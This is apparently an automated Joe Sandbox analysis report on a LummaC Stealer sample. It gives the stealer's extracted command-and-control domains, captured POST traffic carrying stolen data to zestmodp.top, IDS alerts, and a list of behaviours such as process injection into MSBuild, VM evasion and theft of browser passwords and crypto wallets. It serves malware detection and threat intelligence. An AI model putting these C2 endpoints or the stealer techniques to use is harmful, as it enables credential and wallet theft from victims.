Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1665637
MD5:	d0c0e2b8cdcf7891093e828326fc7240
SHA1:	82d4bc2c660c5853818925351b1f01a4933755a3
SHA256:	4ef46582ae95f961c0a0af8262de20681d9fc34ab18ead54a634448c077fd82d
Tags:	exex64user-jstrosch
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 8108 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D0C0E2B8CDCF7891093E828326FC7240)

MSBuild.exe (PID: 8164 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["zestmodp.top/zeda", "jawdedmirror.run/ewqd", "changeaie.top/geps", "lonfgshadow.live/xawi", "liftally.top/xasj", "nighetwhisper.top/lekd", "salaccgfa.top/gsooz", "owlflright.digital/qopy"], "Build id": "96efdfe8c3b1c339731fabb10966231d"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1484259331.0000000003AD0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 8164	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 104.21.112.1, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 8164, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49692

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:56:39.236422+0200	2028371	3	Unknown Traffic	192.168.2.5	49692	104.21.112.1	443	TCP
2025-04-15T17:56:40.893756+0200	2028371	3	Unknown Traffic	192.168.2.5	49693	104.21.112.1	443	TCP
2025-04-15T17:56:42.135143+0200	2028371	3	Unknown Traffic	192.168.2.5	49694	104.21.112.1	443	TCP
2025-04-15T17:56:43.391961+0200	2028371	3	Unknown Traffic	192.168.2.5	49695	104.21.112.1	443	TCP
2025-04-15T17:56:46.402842+0200	2028371	3	Unknown Traffic	192.168.2.5	49696	104.21.112.1	443	TCP
2025-04-15T17:56:47.548092+0200	2028371	3	Unknown Traffic	192.168.2.5	49697	104.21.112.1	443	TCP
2025-04-15T17:56:49.634005+0200	2028371	3	Unknown Traffic	192.168.2.5	49699	104.21.112.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:56:39.236422+0200	2061406	1	Domain Observed Used for C2 Detected	192.168.2.5	49692	104.21.112.1	443	TCP
2025-04-15T17:56:40.893756+0200	2061406	1	Domain Observed Used for C2 Detected	192.168.2.5	49693	104.21.112.1	443	TCP
2025-04-15T17:56:42.135143+0200	2061406	1	Domain Observed Used for C2 Detected	192.168.2.5	49694	104.21.112.1	443	TCP
2025-04-15T17:56:43.391961+0200	2061406	1	Domain Observed Used for C2 Detected	192.168.2.5	49695	104.21.112.1	443	TCP
2025-04-15T17:56:46.402842+0200	2061406	1	Domain Observed Used for C2 Detected	192.168.2.5	49696	104.21.112.1	443	TCP
2025-04-15T17:56:47.548092+0200	2061406	1	Domain Observed Used for C2 Detected	192.168.2.5	49697	104.21.112.1	443	TCP
2025-04-15T17:56:49.634005+0200	2061406	1	Domain Observed Used for C2 Detected	192.168.2.5	49699	104.21.112.1	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zestmodp .top)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:56:38.863104+0200	2061405	1	Domain Observed Used for C2 Detected	192.168.2.5	52140	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://zestmodp.top/	Avira URL Cloud: Label: malware
Source: https://zestmodp.top/zedaT/AO	Avira URL Cloud: Label: malware
Source: https://zestmodp.top/r5	Avira URL Cloud: Label: malware
Source: https://zestmodp.top/zeda	Avira URL Cloud: Label: malware
Source: https://zestmodp.top/zedaT	Avira URL Cloud: Label: malware

Found malware configuration

Source: 1.2.MSBuild.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["zestmodp.top/zeda", "jawdedmirror.run/ewqd", "changeaie.top/geps", "lonfgshadow.live/xawi", "liftally.top/xasj", "nighetwhisper.top/lekd", "salaccgfa.top/gsooz", "owlflright.digital/qopy"], "Build id": "96efdfe8c3b1c339731fabb10966231d"}

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 72%			Perma Link
Source: file.exe	ReversingLabs: Detection: 72%

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: zestmodp.top/zeda
Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: jawdedmirror.run/ewqd
Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: changeaie.top/geps
Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lonfgshadow.live/xawi
Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: liftally.top/xasj
Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nighetwhisper.top/lekd
Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: salaccgfa.top/gsooz
Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: owlflright.digital/qopy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041D666 CryptUnprotectData,	1_2_0041D666
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DA0A CryptUnprotectData,	1_2_0041DA0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041CB15 CryptUnprotectData,	1_2_0041CB15

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.254:443 -> 192.168.2.5:49700 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-14h]	1_2_0044D0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], dx	1_2_0041C1D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi+000006FCh]	1_2_0041C1D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], F2998E12h	1_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	1_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	1_2_0044C3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, edx	1_2_0044C4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-70215102h]	1_2_00410553
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+ecx], 0000h	1_2_004277F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+70h]	1_2_00434840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-372CB63Eh]	1_2_0044D840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0042A855
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ah]	1_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+48h]	1_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	1_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-20h], edx	1_2_00448B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-39C55A28h]	1_2_00448B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+549916FAh]	1_2_0042DC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax+5F6C02ECh]	1_2_00448E6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-30h]	1_2_00448E6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+2BBF31DEh]	1_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+44h]	1_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi-528C313Eh]	1_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	1_2_00402060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_0043F000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	1_2_00434150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+54991702h]	1_2_00447170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+54991702h]	1_2_00447170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-645C9F3Ch]	1_2_004351CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	1_2_0040B1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+54991706h]	1_2_00412250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E6B8552h]	1_2_0042D2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, edx	1_2_0040C290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-39C55A28h]	1_2_0044934E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_00432330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+2Ch]	1_2_0043533D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+5Ch], 320BBCD1h	1_2_0042E3CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [eax], cl	1_2_0041E39C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [esp+38h]	1_2_004023B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	1_2_004254C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [eax], cl	1_2_0041E4E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-5F27C36Eh]	1_2_004364A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [esi]	1_2_0044B558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0Ah]	1_2_004225D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-7D9B4E86h]	1_2_004225D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	1_2_0042E652
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi], 00000020h	1_2_00435635
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	1_2_004086A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h]	1_2_0042D730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	1_2_0040C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-398053E8h]	1_2_0040C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	1_2_00431A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0184C51Ch]	1_2_00436A7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax-2BB61D3Eh]	1_2_00412AE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0184C51Ch]	1_2_00436A81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax-2BB61D3Eh]	1_2_00412B46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000274h]	1_2_00421B51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-43F0A7ACh]	1_2_00421B51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-4AC16B94h]	1_2_00426B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+01h]	1_2_00401C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-39C55A28h]	1_2_00448C74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi], cl	1_2_00434CA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-20h]	1_2_00448D42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, word ptr [ecx]	1_2_0044CD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-10h], edx	1_2_00431D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], cx	1_2_0042CE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-2AA3A264h]	1_2_00435E47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edx+ebx*8], A0E666EBh	1_2_00445E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov edx, dword ptr [ebp-58h]	1_2_0042BE39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	1_2_00443EFB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00420E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-30h]	1_2_00448F42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	1_2_00409F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	1_2_00409F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax-60EFC3B4h]	1_2_0042BF6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000C8h]	1_2_0041BF1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-64DBA884h]	1_2_0040BFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2061405 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zestmodp .top) : 192.168.2.5:52140 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061406 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI) : 192.168.2.5:49695 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2061406 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI) : 192.168.2.5:49693 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2061406 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI) : 192.168.2.5:49694 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2061406 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI) : 192.168.2.5:49692 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2061406 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI) : 192.168.2.5:49697 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2061406 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI) : 192.168.2.5:49696 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2061406 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI) : 192.168.2.5:49699 -> 104.21.112.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: zestmodp.top/zeda
Source: Malware configuration extractor	URLs: jawdedmirror.run/ewqd
Source: Malware configuration extractor	URLs: changeaie.top/geps
Source: Malware configuration extractor	URLs: lonfgshadow.live/xawi
Source: Malware configuration extractor	URLs: liftally.top/xasj
Source: Malware configuration extractor	URLs: nighetwhisper.top/lekd
Source: Malware configuration extractor	URLs: salaccgfa.top/gsooz
Source: Malware configuration extractor	URLs: owlflright.digital/qopy

Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49695 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49693 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49694 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49692 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49697 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49696 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49699 -> 104.21.112.1:443

Source: global traffic	HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 41Host: zestmodp.top
Source: global traffic	HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AY83UhC6GE6tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 14883Host: zestmodp.top
Source: global traffic	HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=lhKI3M2dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 15012Host: zestmodp.top
Source: global traffic	HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5b6YbrY5Y797h7bQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 20541Host: zestmodp.top
Source: global traffic	HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I6UlWnhzSfA6t84tS6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 2354Host: zestmodp.top
Source: global traffic	HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=vxrn1W92User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 571288Host: zestmodp.top
Source: global traffic	HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 79Host: zestmodp.top

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: c.pki.goog
Source: global traffic	DNS traffic detected: DNS query: zestmodp.top
